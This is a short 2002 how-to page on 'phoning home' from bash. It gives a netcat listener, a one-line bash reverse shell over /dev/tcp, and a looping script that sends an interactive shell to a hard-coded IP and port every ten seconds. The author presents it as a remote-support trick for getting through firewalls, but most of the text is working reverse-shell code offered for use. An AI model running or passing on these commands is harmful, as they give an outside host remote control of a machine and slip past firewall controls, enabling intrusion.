Downloads

Phoning home from bash

Andrew at ledge.co.za

Revision 0.0, 22 January 2002


Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session.

1. Why

There are a couple of possible applications for this technique (if your version of bash supports it):

2. How to

2.1 Client side stuff

On the client side, netcat listens for an incoming call.

netcat -l -p 22222

2.2 Server side stuff

On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection.

bash -i >& /dev/tcp/101.102.103.104/22222 0>&1

Probably your IP address is not 101.102.103.104 (it's reserved) so you can replace that with your own IP address.

3. Bugs

4. Script

Here's a script which phones us repeatedly - very nice for remote support through a firewall.

#! /bin/bash
IP=196.30.113.3
PORT=65534
WHOAMI="`whoami`@`hostname -f`"
echo "

/////////////////////////////////////////////////
//
// This script is sending a shell as the user
// $WHOAMI to the address
// $IP (port $PORT)
//
/////////////////////////////////////////////////

"
while true; do
        echo "`date`: Sending shell to $IP:$PORT"
        {
                echo "Welcome, $WHOAMI"
                bash -i
        } <> /dev/tcp/$IP/$PORT 1>&0 2>&1 &
        sleep 10
done
Of course, you probably don't want to run this on your server without changing your IP addresses.

5. Licence

How do you licence one line of source code? You would have to be a little silly.